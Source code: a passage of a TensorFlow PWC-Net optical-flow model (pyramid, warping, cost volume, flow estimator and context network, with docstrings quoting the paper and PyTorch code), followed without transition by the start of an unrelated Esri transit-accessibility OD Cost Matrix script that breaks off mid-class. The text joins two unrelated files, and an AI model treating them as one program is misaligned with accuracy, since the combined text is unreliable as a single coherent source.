convolution is followed by a leaky ReLU unit. The convolutional layer and the x2 downsampling layer at
each level is implemented using a single convolutional layer with a stride of 2.
Note that Figure 4 on page 15 differs from the PyTorch implementation in two ways:
- It's missing a convolution layer at the end of each conv block
- It shows a number of filters of 192 (instead of 196) at the end of the last conv block
Ref PyTorch code:
def conv(in_planes, out_planes, kernel_size=3, stride=1, padding=1, dilation=1):
return nn.Sequential(
nn.Conv2d(in_planes, out_planes, kernel_size=kernel_size, stride=stride,
padding=padding, dilation=dilation, bias=True), nn.LeakyReLU(0.1))
[...]
self.conv1a = conv(3, 16, kernel_size=3, stride=2)
self.conv1aa = conv(16, 16, kernel_size=3, stride=1)
self.conv1b = conv(16, 16, kernel_size=3, stride=1)
self.conv2a = conv(16, 32, kernel_size=3, stride=2)
self.conv2aa = conv(32, 32, kernel_size=3, stride=1)
self.conv2b = conv(32, 32, kernel_size=3, stride=1)
self.conv3a = conv(32, 64, kernel_size=3, stride=2)
self.conv3aa = conv(64, 64, kernel_size=3, stride=1)
self.conv3b = conv(64, 64, kernel_size=3, stride=1)
self.conv4a = conv(64, 96, kernel_size=3, stride=2)
self.conv4aa = conv(96, 96, kernel_size=3, stride=1)
self.conv4b = conv(96, 96, kernel_size=3, stride=1)
self.conv5a = conv(96, 128, kernel_size=3, stride=2)
self.conv5aa = conv(128,128, kernel_size=3, stride=1)
self.conv5b = conv(128,128, kernel_size=3, stride=1)
self.conv6aa = conv(128,196, kernel_size=3, stride=2)
self.conv6a = conv(196,196, kernel_size=3, stride=1)
self.conv6b = conv(196,196, kernel_size=3, stride=1)
[...]
c11 = self.conv1b(self.conv1aa(self.conv1a(im1))) # Higher-res
c21 = self.conv1b(self.conv1aa(self.conv1a(im2)))
c12 = self.conv2b(self.conv2aa(self.conv2a(c11)))
c22 = self.conv2b(self.conv2aa(self.conv2a(c21)))
c13 = self.conv3b(self.conv3aa(self.conv3a(c12)))
c23 = self.conv3b(self.conv3aa(self.conv3a(c22)))
c14 = self.conv4b(self.conv4aa(self.conv4a(c13)))
c24 = self.conv4b(self.conv4aa(self.conv4a(c23)))
c15 = self.conv5b(self.conv5aa(self.conv5a(c14)))
c25 = self.conv5b(self.conv5aa(self.conv5a(c24)))
c16 = self.conv6b(self.conv6a(self.conv6aa(c15)))
c26 = self.conv6b(self.conv6a(self.conv6aa(c25))) # Lower-res
Ref Caffee code:
https://github.com/NVlabs/PWC-Net/blob/438ca897ae77e08f419ddce5f0d7fa63b0a27a77/Caffe/model/train.prototxt#L314-L1141
"""
assert(1 <= self.opts['pyr_lvls'] <= 6)
if self.dbg:
print(f"Building feature pyramids (c11,c21) ... (c1{self.opts['pyr_lvls']},c2{self.opts['pyr_lvls']})")
# Make the feature pyramids 1-based for better readability down the line
num_chann = [None, 16, 32, 64, 96, 128, 196]
c1, c2 = [None], [None]
init = tf.keras.initializers.he_normal()
with tf.variable_scope(name):
for pyr, x, reuse, name in zip([c1, c2], [x_tnsr[:, 0], x_tnsr[:, 1]], [None, True], ['c1', 'c2']):
for lvl in range(1, self.opts['pyr_lvls'] + 1):
# tf.layers.conv2d(inputs, filters, kernel_size, strides=(1, 1), padding='valid', ... , name, reuse)
# reuse is set to True because we want to learn a single set of weights for the pyramid
# kernel_initializer = 'he_normal' or tf.keras.initializers.he_normal(seed=None)
f = num_chann[lvl]
x = tf.layers.conv2d(x, f, 3, 2, 'same', kernel_initializer=init, name=f'conv{lvl}a', reuse=reuse)
x = tf.nn.leaky_relu(x, alpha=0.1) # , name=f'relu{lvl+1}a') # default alpha is 0.2 for TF
x = tf.layers.conv2d(x, f, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}aa', reuse=reuse)
x = tf.nn.leaky_relu(x, alpha=0.1) # , name=f'relu{lvl+1}aa')
x = tf.layers.conv2d(x, f, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}b', reuse=reuse)
x = tf.nn.leaky_relu(x, alpha=0.1, name=f'{name}{lvl}')
pyr.append(x)
return c1, c2
###
# PWC-Net warping helpers
###
def warp(self, c2, sc_up_flow, lvl, name='warp'):
"""Warp a level of Image1's feature pyramid using the upsampled flow at level+1 of Image2's pyramid.
Args:
c2: The level of the feature pyramid of Image2 to warp
sc_up_flow: Scaled and upsampled estimated optical flow (from Image1 to Image2) used for warping
lvl: Index of that level
name: Op scope name
Ref:
Per page 4 of paper, section "Warping layer," at the l-th level, we warp features of the second image toward
the first image using the x2 upsampled flow from the l+1th level:
C1w<sup>l</sup>(x) = C2<sup>l</sup>(x + Up2(w<sup>l+1</sup>)(x))
where x is the pixel index and the upsampled flow Up2(w<sup>l+1</sup>) is set to be zero at the top level.
We use bilinear interpolation to implement the warping operation and compute the gradients to the input
CNN features and flow for backpropagation according to E. Ilg's FlowNet 2.0 paper.
For non-translational motion, warping can compensate for some geometric distortions and put image patches
at the right scale.
Per page 3 of paper, section "3. Approach," the warping and cost volume layers have no learnable parameters
and, hence, reduce the model size.
Ref PyTorch code:
# warp an image/tensor (im2) back to im1, according to the optical flow
# x: [B, C, H, W] (im2)
# flo: [B, 2, H, W] flow
def warp(self, x, flo):
B, C, H, W = x.size()
# mesh grid
xx = torch.arange(0, W).view(1,-1).repeat(H,1)
yy = torch.arange(0, H).view(-1,1).repeat(1,W)
xx = xx.view(1,1,H,W).repeat(B,1,1,1)
yy = yy.view(1,1,H,W).repeat(B,1,1,1)
grid = torch.cat((xx,yy),1).float()
if x.is_cuda:
grid = grid.cuda()
vgrid = Variable(grid) + flo
# scale grid to [-1,1]
vgrid[:,0,:,:] = 2.0*vgrid[:,0,:,:]/max(W-1,1)-1.0
vgrid[:,1,:,:] = 2.0*vgrid[:,1,:,:]/max(H-1,1)-1.0
vgrid = vgrid.permute(0,2,3,1)
output = nn.functional.grid_sample(x, vgrid)
mask = torch.autograd.Variable(torch.ones(x.size())).cuda()
mask = nn.functional.grid_sample(mask, vgrid)
mask[mask<0.9999] = 0
mask[mask>0] = 1
return output*mask
[...]
warp5 = self.warp(c25, up_flow6*0.625)
warp4 = self.warp(c24, up_flow5*1.25)
warp3 = self.warp(c23, up_flow4*2.5)
warp2 = self.warp(c22, up_flow3*5.0)
Ref TF documentation:
tf.contrib.image.dense_image_warp(image, flow, name='dense_image_warp')
https://www.tensorflow.org/api_docs/python/tf/contrib/image/dense_image_warp
https://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/image/python/kernel_tests/dense_image_warp_test.py
Other implementations:
https://github.com/bryanyzhu/deepOF/blob/master/flyingChairsWrapFlow.py
https://github.com/bryanyzhu/deepOF/blob/master/ucf101wrapFlow.py
https://github.com/rajat95/Optical-Flow-Warping-Tensorflow/blob/master/warp.py
"""
op_name = f'{name}{lvl}'
if self.dbg:
msg = f'Adding {op_name} with inputs {c2.op.name} and {sc_up_flow.op.name}'
print(msg)
with tf.name_scope(name):
return dense_image_warp(c2, sc_up_flow, name=op_name)
def deconv(self, x, lvl, name='up_flow'):
"""Upsample, not using a bilinear filter, but rather learn the weights of a conv2d_transpose op filters.
Args:
x: Level features or flow to upsample
lvl: Index of that level
name: Op scope name
Ref PyTorch code:
def deconv(in_planes, out_planes, kernel_size=4, stride=2, padding=1):
return nn.ConvTranspose2d(in_planes, out_planes, kernel_size, stride, padding, bias=True)
[...]
self.deconv6 = deconv(2, 2, kernel_size=4, stride=2, padding=1)
self.upfeat6 = deconv(od+dd[4], 2, kernel_size=4, stride=2, padding=1)
...
self.deconv5 = deconv(2, 2, kernel_size=4, stride=2, padding=1)
self.upfeat5 = deconv(od+dd[4], 2, kernel_size=4, stride=2, padding=1)
...
self.deconv4 = deconv(2, 2, kernel_size=4, stride=2, padding=1)
self.upfeat4 = deconv(od+dd[4], 2, kernel_size=4, stride=2, padding=1)
...
self.deconv3 = deconv(2, 2, kernel_size=4, stride=2, padding=1)
self.upfeat3 = deconv(od+dd[4], 2, kernel_size=4, stride=2, padding=1)
...
self.deconv2 = deconv(2, 2, kernel_size=4, stride=2, padding=1)
[...]
up_flow6 = self.deconv6(flow6)
up_feat6 = self.upfeat6(x)
...
up_flow5 = self.deconv5(flow5)
up_feat5 = self.upfeat5(x)
...
up_flow4 = self.deconv4(flow4)
up_feat4 = self.upfeat4(x)
...
up_flow3 = self.deconv3(flow3)
up_feat3 = self.upfeat3(x)
"""
op_name = f'{name}{lvl}'
if self.dbg:
print(f'Adding {op_name} with input {x.op.name}')
with tf.variable_scope('upsample'):
# tf.layers.conv2d_transpose(inputs, filters, kernel_size, strides=(1, 1), padding='valid', ... , name)
return tf.layers.conv2d_transpose(x, 2, 4, 2, 'same', name=op_name)
###
# Cost Volume helpers
###
def corr(self, c1, warp, lvl, name='corr'):
"""Build cost volume for associating a pixel from Image1 with its corresponding pixels in Image2.
Args:
c1: The level of the feature pyramid of Image1
warp: The warped level of the feature pyramid of image22
lvl: Index of that level
name: Op scope name
Ref:
Per page 3 of paper, section "Cost Volume," a cost volume stores the data matching costs for associating
a pixel from Image1 with its corresponding pixels in Image2. Most traditional optical flow techniques build
the full cost volume at a single scale, which is both computationally expensive and memory intensive. By
contrast, PWC-Net constructs a partial cost volume at multiple pyramid levels.
The matching cost is implemented as the correlation between features of the first image and warped features
of the second image:
CV<sup>l</sup>(x1,x2) = (C1<sup>l</sup>(x1))<sup>T</sup> . Cw<sup>l</sup>(x2) / N
where where T is the transpose operator and N is the length of the column vector C1<sup>l</sup>(x1).
For an L-level pyramid, we only need to compute a partial cost volume with a limited search range of d
pixels. A one-pixel motion at the top level corresponds to 2**(L−1) pixels at the full resolution images.
Thus we can set d to be small, e.g. d=4. The dimension of the 3D cost volume is d**2 × Hl × Wl, where Hl
and Wl denote the height and width of the L-th pyramid level, respectively.
Per page 3 of paper, section "3. Approach," the warping and cost volume layers have no learnable parameters
and, hence, reduce the model size.
Per page 5 of paper, section "Implementation details," we use a search range of 4 pixels to compute the
cost volume at each level.
Ref PyTorch code:
from correlation_package.modules.corr import Correlation
self.corr = Correlation(pad_size=md, kernel_size=1, max_displacement=4, stride1=1, stride2=1, corr_multiply=1)
[...]
corr6 = self.corr(c16, c26)
corr6 = self.leakyRELU(corr6)
...
corr5 = self.corr(c15, warp5)
corr5 = self.leakyRELU(corr5)
...
corr4 = self.corr(c14, warp4)
corr4 = self.leakyRELU(corr4)
...
corr3 = self.corr(c13, warp3)
corr3 = self.leakyRELU(corr3)
...
corr2 = self.corr(c12, warp2)
corr2 = self.leakyRELU(corr2)
"""
op_name = f'corr{lvl}'
if self.dbg:
print(f'Adding {op_name} with inputs {c1.op.name} and {warp.op.name}')
with tf.name_scope(name):
return cost_volume(c1, warp, self.opts['search_range'], op_name)
###
# Optical flow estimator helpers
###
def predict_flow(self, corr, c1, up_flow, up_feat, lvl, name='predict_flow'):
"""Estimate optical flow.
Args:
corr: The cost volume at level lvl
c1: The level of the feature pyramid of Image1
up_flow: An upsampled version of the predicted flow from the previous level
up_feat: An upsampled version of the features that were used to generate the flow prediction
lvl: Index of the level
name: Op scope name
Args:
upfeat: The features used to generate the predicted flow
flow: The predicted flow
Ref:
Per page 4 of paper, section "Optical flow estimator," the optical flow estimator is a multi-layer CNN. Its
input are the cost volume, features of the first image, and upsampled optical flow and its output is the
flow w<sup>l</sup> at the l-th level. The numbers of feature channels at each convolutional layers are
respectively 128, 128, 96, 64, and 32, which are kept fixed at all pyramid levels. The estimators at
different levels have their own parameters instead of sharing the same parameters. This estimation process
is repeated until the desired level, l0.
Per page 5 of paper, section "Implementation details," we use a 7-level pyramid and set l0 to be 2, i.e.,
our model outputs a quarter resolution optical flow and uses bilinear interpolation to obtain the
full-resolution optical flow.
The estimator architecture can be enhanced with DenseNet connections. The inputs to every convolutional
layer are the output of and the input to its previous layer. DenseNet has more direct connections than
traditional layers and leads to significant improvement in image classification.
Note that we do not use DenseNet connections in this implementation because a) they increase the size of the
model, and, b) per page 7 of paper, section "Optical flow estimator," removing the DenseNet connections
results in higher training error but lower validation errors when the model is trained on FlyingChairs
(that being said, after the model is fine-tuned on FlyingThings3D, DenseNet leads to lower errors).
Ref PyTorch code:
def conv(in_planes, out_planes, kernel_size=3, stride=1, padding=1, dilation=1):
return nn.Sequential(
nn.Conv2d(in_planes, out_planes, kernel_size=kernel_size, stride=stride,
padding=padding, dilation=dilation, bias=True),
nn.LeakyReLU(0.1))
def predict_flow(in_planes):
return nn.Conv2d(in_planes,2,kernel_size=3,stride=1,padding=1,bias=True)
[...]
nd = (2*md+1)**2
dd = np.cumsum([128,128,96,64,32])
od = nd
self.conv6_0 = conv(od, 128, kernel_size=3, stride=1)
self.conv6_1 = conv(od+dd[0],128, kernel_size=3, stride=1)
self.conv6_2 = conv(od+dd[1],96, kernel_size=3, stride=1)
self.conv6_3 = conv(od+dd[2],64, kernel_size=3, stride=1)
self.conv6_4 = conv(od+dd[3],32, kernel_size=3, stride=1)
self.predict_flow6 = predict_flow(od+dd[4])
[...]
od = nd+128+4
self.conv5_0 = conv(od, 128, kernel_size=3, stride=1)
self.conv5_1 = conv(od+dd[0],128, kernel_size=3, stride=1)
self.conv5_2 = conv(od+dd[1],96, kernel_size=3, stride=1)
self.conv5_3 = conv(od+dd[2],64, kernel_size=3, stride=1)
self.conv5_4 = conv(od+dd[3],32, kernel_size=3, stride=1)
self.predict_flow5 = predict_flow(od+dd[4])
[...]
od = nd+96+4
self.conv4_0 = conv(od, 128, kernel_size=3, stride=1)
self.conv4_1 = conv(od+dd[0],128, kernel_size=3, stride=1)
self.conv4_2 = conv(od+dd[1],96, kernel_size=3, stride=1)
self.conv4_3 = conv(od+dd[2],64, kernel_size=3, stride=1)
self.conv4_4 = conv(od+dd[3],32, kernel_size=3, stride=1)
self.predict_flow4 = predict_flow(od+dd[4])
[...]
od = nd+64+4
self.conv3_0 = conv(od, 128, kernel_size=3, stride=1)
self.conv3_1 = conv(od+dd[0],128, kernel_size=3, stride=1)
self.conv3_2 = conv(od+dd[1],96, kernel_size=3, stride=1)
self.conv3_3 = conv(od+dd[2],64, kernel_size=3, stride=1)
self.conv3_4 = conv(od+dd[3],32, kernel_size=3, stride=1)
self.predict_flow3 = predict_flow(od+dd[4])
[...]
od = nd+32+4
self.conv2_0 = conv(od, 128, kernel_size=3, stride=1)
self.conv2_1 = conv(od+dd[0],128, kernel_size=3, stride=1)
self.conv2_2 = conv(od+dd[1],96, kernel_size=3, stride=1)
self.conv2_3 = conv(od+dd[2],64, kernel_size=3, stride=1)
self.conv2_4 = conv(od+dd[3],32, kernel_size=3, stride=1)
self.predict_flow2 = predict_flow(od+dd[4])
[...]
self.dc_conv1 = conv(od+dd[4], 128, kernel_size=3, stride=1, padding=1, dilation=1)
self.dc_conv2 = conv(128, 128, kernel_size=3, stride=1, padding=2, dilation=2)
self.dc_conv3 = conv(128, 128, kernel_size=3, stride=1, padding=4, dilation=4)
self.dc_conv4 = conv(128, 96, kernel_size=3, stride=1, padding=8, dilation=8)
self.dc_conv5 = conv(96, 64, kernel_size=3, stride=1, padding=16, dilation=16)
self.dc_conv6 = conv(64, 32, kernel_size=3, stride=1, padding=1, dilation=1)
self.dc_conv7 = predict_flow(32)
[...]
x = torch.cat((self.conv6_0(corr6), corr6),1)
x = torch.cat((self.conv6_1(x), x),1)
x = torch.cat((self.conv6_2(x), x),1)
x = torch.cat((self.conv6_3(x), x),1)
x = torch.cat((self.conv6_4(x), x),1)
flow6 = self.predict_flow6(x)
...
x = torch.cat((corr5, c15, up_flow6, up_feat6), 1)
x = torch.cat((self.conv5_0(x), x),1)
x = torch.cat((self.conv5_1(x), x),1)
x = torch.cat((self.conv5_2(x), x),1)
x = torch.cat((self.conv5_3(x), x),1)
x = torch.cat((self.conv5_4(x), x),1)
flow5 = self.predict_flow5(x)
...
x = torch.cat((corr4, c14, up_flow5, up_feat5), 1)
x = torch.cat((self.conv4_0(x), x),1)
x = torch.cat((self.conv4_1(x), x),1)
x = torch.cat((self.conv4_2(x), x),1)
x = torch.cat((self.conv4_3(x), x),1)
x = torch.cat((self.conv4_4(x), x),1)
flow4 = self.predict_flow4(x)
...
x = torch.cat((corr3, c13, up_flow4, up_feat4), 1)
x = torch.cat((self.conv3_0(x), x),1)
x = torch.cat((self.conv3_1(x), x),1)
x = torch.cat((self.conv3_2(x), x),1)
x = torch.cat((self.conv3_3(x), x),1)
x = torch.cat((self.conv3_4(x), x),1)
flow3 = self.predict_flow3(x)
...
x = torch.cat((corr2, c12, up_flow3, up_feat3), 1)
x = torch.cat((self.conv2_0(x), x),1)
x = torch.cat((self.conv2_1(x), x),1)
x = torch.cat((self.conv2_2(x), x),1)
x = torch.cat((self.conv2_3(x), x),1)
x = torch.cat((self.conv2_4(x), x),1)
flow2 = self.predict_flow2(x)
"""
op_name = f'flow{lvl}'
init = tf.keras.initializers.he_normal()
with tf.variable_scope(name):
if c1 is None and up_flow is None and up_feat is None:
if self.dbg:
print(f'Adding {op_name} with input {corr.op.name}')
x = corr
else:
if self.dbg:
msg = f'Adding {op_name} with inputs {corr.op.name}, {c1.op.name}, {up_flow.op.name}, {up_feat.op.name}'
print(msg)
x = tf.concat([corr, c1, up_flow, up_feat], axis=3)
conv = tf.layers.conv2d(x, 128, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}_0')
act = tf.nn.leaky_relu(conv, alpha=0.1) # default alpha is 0.2 for TF
x = tf.concat([act, x], axis=3) if self.opts['use_dense_cx'] else act
conv = tf.layers.conv2d(x, 128, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}_1')
act = tf.nn.leaky_relu(conv, alpha=0.1)
x = tf.concat([act, x], axis=3) if self.opts['use_dense_cx'] else act
conv = tf.layers.conv2d(x, 96, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}_2')
act = tf.nn.leaky_relu(conv, alpha=0.1)
x = tf.concat([act, x], axis=3) if self.opts['use_dense_cx'] else act
conv = tf.layers.conv2d(x, 64, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}_3')
act = tf.nn.leaky_relu(conv, alpha=0.1)
x = tf.concat([act, x], axis=3) if self.opts['use_dense_cx'] else act
conv = tf.layers.conv2d(x, 32, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}_4')
act = tf.nn.leaky_relu(conv, alpha=0.1) # will also be used as an input by the context network
upfeat = tf.concat([act, x], axis=3, name=f'upfeat{lvl}') if self.opts['use_dense_cx'] else act
flow = tf.layers.conv2d(upfeat, 2, 3, 1, 'same', name=op_name)
return upfeat, flow
###
# PWC-Net context network helpers
###
def refine_flow(self, feat, flow, lvl, name='ctxt'):
"""Post-ptrocess the estimated optical flow using a "context" nn.
Args:
feat: Features of the second-to-last layer from the optical flow estimator
flow: Estimated flow to refine
lvl: Index of the level
name: Op scope name
Ref:
Per page 4 of paper, section "Context network," traditional flow methods often use contextual information
to post-process the flow. Thus we employ a sub-network, called the context network, to effectively enlarge
the receptive field size of each output unit at the desired pyramid level. It takes the estimated flow and
features of the second last layer from the optical flow estimator and outputs a refined flow.
The context network is a feed-forward CNN and its design is based on dilated convolutions. It consists of
7 convolutional layers. The spatial kernel for each convolutional layer is 3×3. These layers have different
dilation constants. A convolutional layer with a dilation constant k means that an input unit to a filter
in the layer are k-unit apart from the other input units to the filter in the layer, both in vertical and
horizontal directions. Convolutional layers with large dilation constants enlarge the receptive field of
each output unit without incurring a large computational burden. From bottom to top, the dilation constants
are 1, 2, 4, 8, 16, 1, and 1.
Ref PyTorch code:
def conv(in_planes, out_planes, kernel_size=3, stride=1, padding=1, dilation=1):
return nn.Sequential(
nn.Conv2d(in_planes, out_planes, kernel_size=kernel_size, stride=stride,
padding=padding, dilation=dilation, bias=True),
nn.LeakyReLU(0.1))
def predict_flow(in_planes):
return nn.Conv2d(in_planes,2,kernel_size=3,stride=1,padding=1,bias=True)
[...]
self.dc_conv1 = conv(od+dd[4], 128, kernel_size=3, stride=1, padding=1, dilation=1)
self.dc_conv2 = conv(128, 128, kernel_size=3, stride=1, padding=2, dilation=2)
self.dc_conv3 = conv(128, 128, kernel_size=3, stride=1, padding=4, dilation=4)
self.dc_conv4 = conv(128, 96, kernel_size=3, stride=1, padding=8, dilation=8)
self.dc_conv5 = conv(96, 64, kernel_size=3, stride=1, padding=16, dilation=16)
self.dc_conv6 = conv(64, 32, kernel_size=3, stride=1, padding=1, dilation=1)
self.dc_conv7 = predict_flow(32)
[...]
x = torch.cat((corr2, c12, up_flow3, up_feat3), 1)
x = torch.cat((self.conv2_0(x), x),1)
x = torch.cat((self.conv2_1(x), x),1)
x = torch.cat((self.conv2_2(x), x),1)
x = torch.cat((self.conv2_3(x), x),1)
x = torch.cat((self.conv2_4(x), x),1)
flow2 = self.predict_flow2(x)
x = self.dc_conv4(self.dc_conv3(self.dc_conv2(self.dc_conv1(x))))
flow2 += self.dc_conv7(self.dc_conv6(self.dc_conv5(x)))
"""
op_name = f'refined_flow{lvl}'
if self.dbg:
print(f'Adding {op_name} sum of dc_convs_chain({feat.op.name}) with {flow.op.name}')
init = tf.keras.initializers.he_normal()
with tf.variable_scope(name):
x = tf.layers.conv2d(feat, 128, 3, 1, 'same', dilation_rate=1, kernel_initializer=init, name=f'dc_conv{lvl}1')
x = tf.nn.leaky_relu(x, alpha=0.1) # default alpha is 0.2 for TF
x = tf.layers.conv2d(x, 128, 3, 1, 'same', dilation_rate=2, kernel_initializer=init, name=f'dc_conv{lvl}2')
x = tf.nn.leaky_relu(x, alpha=0.1)
x = tf.layers.conv2d(x, 128, 3, 1, 'same', dilation_rate=4, kernel_initializer=init, name=f'dc_conv{lvl}3')
x = tf.nn.leaky_relu(x, alpha=0.1)
x = tf.layers.conv2d(x, 96, 3, 1, 'same', dilation_rate=8, kernel_initializer=init, name=f'dc_conv{lvl}4')
x = tf.nn.leaky_relu(x, alpha=0.1)
x = tf.layers.conv2d(x, 64, 3, 1, 'same', dilation_rate=16, kernel_initializer=init, name=f'dc_conv{lvl}5')
x = tf.nn.leaky_relu(x, alpha=0.1)
x = tf.layers.conv2d(x, 32, 3, 1, 'same', dilation_rate=1, kernel_initializer=init, name=f'dc_conv{lvl}6')
x = tf.nn.leaky_relu(x, alpha=0.1)
x = tf.layers.conv2d(x, 2, 3, 1, 'same', dilation_rate=1, kernel_initializer=init, name=f'dc_conv{lvl}7')
return tf.add(flow, x, name=op_name)
###
# PWC-Net nn builder
###
def nn(self, x_tnsr, name='pwcnet'):
"""Defines and connects the backbone neural nets
Args:
inputs: TF placeholder that contains the input frame pairs in [batch_size, 2, H, W, 3] format
name: Name of the nn
Returns:
net: Output tensors of the backbone network
Ref:
RE: the scaling of the upsampled estimated optical flow, per page 5, section "Implementation details," we
do not further scale the supervision signal at each level, the same as the FlowNet paper. As a result, we
need to scale the upsampled flow at each pyramid level for the warping layer. For example, at the second
level, we scale the upsampled flow from the third level by a factor of 5 (=20/4) before warping features
of the second image.
Based on:
- https://github.com/daigo0927/PWC-Net_tf/blob/master/model.py
Written by Daigo Hirooka, Copyright (c) 2018 Daigo Hirooka
MIT License
"""
with tf.variable_scope(name):
# Extract pyramids of CNN features from both input images (1-based lists))
c1, c2 = self.extract_features(x_tnsr)
flow_pyr = []
for lvl in range(self.opts['pyr_lvls'], self.opts['flow_pred_lvl'] - 1, -1):
if lvl == self.opts['pyr_lvls']:
# Compute the cost volume
corr = self.corr(c1[lvl], c2[lvl], lvl)
# Estimate the optical flow
upfeat, flow = self.predict_flow(corr, None, None, None, lvl)
else:
# Warp level of Image1's using the upsampled flow
scaler = 20. / 2**lvl # scaler values are 0.625, 1.25, 2.5, 5.0
warp = self.warp(c2[lvl], up_flow * scaler, lvl)
# Compute the cost volume
corr = self.corr(c1[lvl], warp, lvl)
# Estimate the optical flow
upfeat, flow = self.predict_flow(corr, c1[lvl], up_flow, up_feat, lvl)
_, lvl_height, lvl_width, _ = tf.unstack(tf.shape(c1[lvl]))
if lvl != self.opts['flow_pred_lvl']:
if self.opts['use_res_cx']:
flow = self.refine_flow(upfeat, flow, lvl)
# Upsample predicted flow and the features used to compute predicted flow
flow_pyr.append(flow)
up_flow = self.deconv(flow, lvl, 'up_flow')
up_feat = self.deconv(upfeat, lvl, 'up_feat')
else:
# Refine the final predicted flow
flow = self.refine_flow(upfeat, flow, lvl)
flow_pyr.append(flow)
# Upsample the predicted flow (final output) to match the size of the images
scaler = 2**self.opts['flow_pred_lvl']
if self.dbg:
print(f'Upsampling {flow.op.name} by {scaler} in each dimension.')
size = (lvl_height * scaler, lvl_width * scaler)
flow_pred = tf.image.resize_bilinear(flow, size, name="flow_pred") * scaler
break
return flow_pred, flow_pyr
|
############################################################################
## Tool name: Transit Network Analysis Tools
## Created by: Melinda Morang, Esri
## Last updated: 13 September 2021
############################################################################
"""Count the number of destinations reachable from each origin by transit and
walking. The tool calculates an Origin-Destination Cost Matrix for each start
time within a time window because the reachable destinations change depending
on the time of day because of the transit schedules. The output gives the
total number of destinations reachable at least once as well as the number of
destinations reachable at least 10%, 20%, ...90% of start times during the time
window. The number of reachable destinations can be weighted based on a field,
such as the number of jobs available at each destination. The tool also
calculates the percentage of total destinations reachable.
This script should be launched by the CalculateAccessibilityMatrixInParallel.py
script as a subprocess. It computes the OD Cost Matrix in parallel for all time
increments, chunking the origins and destinations if necessary, and calculates
the desired statistics on the outputs.
This version of the tool is for ArcGIS Pro only and solves the OD Cost Matrices in
parallel. It was built based off Esri's Solve Large OD Cost Matrix sample script
available from https://github.com/Esri/large-network-analysis-tools under an Apache
2.0 license.
Copyright 2021 Esri
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
# pylint: disable=logging-fstring-interpolation
from concurrent import futures
import os
import sys
import uuid
import logging
import shutil
import itertools
import time
import traceback
import argparse
import pandas as pd
import arcpy
# The OD Cost Matrix toArrowTable() method was added in ArcGIS Pro 2.9. Writing intermediate OD outputs to Arrow
# tables is more space and memory efficient than writing CSV files, so prefer this method when possible. If the
# ArcGIS Pro version is < 2.9, though, fall back to using CSV files.
if arcpy.GetInstallInfo()["Version"] < "2.9":
use_arrow = False
import csv
else:
use_arrow = True
import pyarrow as pa
# Import OD Cost Matrix settings from config file
from CalculateAccessibilityMatrix_OD_config import OD_PROPS, OD_PROPS_SET_BY_TOOL
import AnalysisHelpers
arcpy.env.overwriteOutput = True
# Set logging for the main process.
# LOGGER logs everything from the main process to stdout using a specific format that the SolveLargeODCostMatrix tool
# can parse and write to the geoprocessing message feed.
LOG_LEVEL = logging.INFO # Set to logging.DEBUG to see verbose debug messages
LOGGER = logging.getLogger(__name__) # pylint:disable=invalid-name
LOGGER.setLevel(LOG_LEVEL)
console_handler = logging.StreamHandler(stream=sys.stdout)
console_handler.setLevel(LOG_LEVEL)
# Used by script tool to split message text from message level to add correct message type to GP window
console_handler.setFormatter(logging.Formatter("%(levelname)s" + AnalysisHelpers.MSG_STR_SPLITTER + "%(message)s"))
LOGGER.addHandler(console_handler)
DELETE_INTERMEDIATE_OD_OUTPUTS = True # Set to False for debugging purposes
def run_gp_tool(tool, tool_args=None, tool_kwargs=None, log_to_use=LOGGER):
"""Run a geoprocessing tool with nice logging.
The purpose of this function is simply to wrap the call to a geoprocessing tool in a way that we can log errors,
warnings, and info messages as well as tool run time into our logging. This helps pipe the messages back to our
script tool dialog.
Args:
tool (arcpy geoprocessing tool class): GP tool class command, like arcpy.management.CreateFileGDB
tool_args (list, optional): Ordered list of values to use as tool arguments. Defaults to None.
tool_kwargs (dictionary, optional): Dictionary of tool parameter names and values that can be used as named
arguments in the tool command. Defaults to None.
log_to_use (logging.logger, optional): logger class to use for messages. Defaults to LOGGER. When calling this
from the ODCostMatrix class, use self.logger instead so the messages go to the processes's log file instead
of stdout.
Returns:
GP result object: GP result object returned from the tool run.
Raises:
arcpy.ExecuteError if the tool fails
"""
# Try to retrieve and log the name of the tool
tool_name = repr(tool)
try:
tool_name = tool.__esri_toolname__
except Exception: # pylint: disable=broad-except
try:
tool_name = tool.__name__
except Exception: # pylint: disable=broad-except
# Probably the tool didn't have an __esri_toolname__ property or __name__. Just don't worry about it.
pass
log_to_use.debug(f"Running geoprocessing tool {tool_name}...")
# Try running the tool, and log all messages
try:
if tool_args is None:
tool_args = []
if tool_kwargs is None:
tool_kwargs = {}
result = tool(*tool_args, **tool_kwargs)
info_msgs = [msg for msg in result.getMessages(0).splitlines() if msg]
warning_msgs = [msg for msg in result.getMessages(1).splitlines() if msg]
for msg in info_msgs:
log_to_use.debug(msg)
for msg in warning_msgs:
log_to_use.warning(msg)
except arcpy.ExecuteError:
log_to_use.error(f"Error running geoprocessing tool {tool_name}.")
# First check if it's a tool error and if so, handle warning and error messages.
info_msgs = [msg for msg in arcpy.GetMessages(0).strip("\n").splitlines() if msg]
warning_msgs = [msg for msg in arcpy.GetMessages(1).strip("\n").splitlines() if msg]
error_msgs = [msg for msg in arcpy.GetMessages(2).strip("\n").splitlines() if msg]
for msg in info_msgs:
log_to_use.debug(msg)
for msg in warning_msgs:
log_to_use.warning(msg)
for msg in error_msgs:
log_to_use.error(msg)
raise
except Exception:
# Unknown non-tool error
log_to_use.error(f"Error running geoprocessing tool {tool_name}.")
errs = traceback.format_exc().splitlines()
for err in errs:
log_to_use.error(err)
raise
log_to_use.debug(f"Finished running geoprocessing tool {tool_name}.")
return result
class ODCostMatrix: # pylint:disable = too-many-instance-attributes
"""Used for solving an OD Cost Matrix problem in parallel for a designated chunk of the input datasets."""
def __init__(self, **kwargs):
"""Initialize the OD Cost Matrix analysis for the given inputs.
